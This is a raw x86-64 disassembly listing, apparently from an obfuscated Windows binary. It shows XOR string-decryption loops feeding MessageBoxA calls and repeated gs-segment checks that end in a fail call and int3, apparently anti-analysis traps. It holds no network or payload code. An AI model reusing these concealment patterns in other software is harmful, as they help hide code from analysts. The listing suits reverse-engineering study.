add r10, 0x17
movabs rax, 0x4bdd5a95ca
cmp r9, rax
jb 0x14002bd78
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x14002beb3
mov rax, qword gs:[0x5f]
movabs rcx, 0x43cd74f94e7736a0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002be93
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002be93
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002beb3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x14002c5a6
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bf56
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bf56
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c5a6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3da0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], Ordinal_200
mov r10, r14
mov r11, r12
movabs rbx, 0x8080808080808081
movabs r8, 0x1c0974f493
movabs r9, 0x3812e9e926
mov cl, r10b
and cl, sil
shl cl, 3
movabs rdi, 0x1a6340e62
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x14002bfb3
mov byte [rbp + 0x379], r14b
movdqa xmm0, xmmword [0x1400d3d90]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x6a157454
mov word [rbp + 0x76c], 0xba
mov r9, r14
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x22a2452e1f
movabs r10, 0x45448a5c3e
movabs r15, 0x1a6340e62
mov cl, r9b
and cl, sil
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r13
add r11, 0x15
cmp r8, r10
jb 0x14002c06f
mov byte [rbp + 0x76d], r14b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
mov r15d, 0xcae3443f
cmp rax, r15
jne 0x14002c1a6
mov rax, qword gs:[0x5f]
movabs rcx, 0x43cd74f94e7736a0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c186
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c186
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c1a6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14002c5a6
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c249
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c249
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c5a6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x14002c31d
mov rax, qword gs:[0x5f]
movabs rcx, 0x43cd74f94e7736a0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c2fd
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c2fd
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c31d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3da0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], Ordinal_200
mov rdi, r13
movabs rsi, 0x1a6340e62
mov qword [rsp + 0x20], rsi
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14002c6d8
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, r12
jb 0x14002c343
mov byte [rbp + 0x391], r13b
movdqa xmm0, xmmword [0x1400d3bf0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400d3b20]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400d3d20]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x5dc6dd77
mov dword [rbp + 0xd0c], 0x3487dbf3
mov dword [rbp + 0xd10], 0xb5ad1f8c
mov word [rbp + 0xd14], 0xa
mov rdi, r13
mov qword [rsp + 0x20], rsi
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.14002c74c
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x14002c3d4
mov byte [rbp + 0xd15], r13b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
mov edi, 0xc8da7f20
cmp rax, rbx
jne 0x14002c4e9
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c4c9
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c4c9
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c4e9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x14002c5a6
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c586
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c586
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c5a6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov ecx, 1
call fcn.1400928d8
int3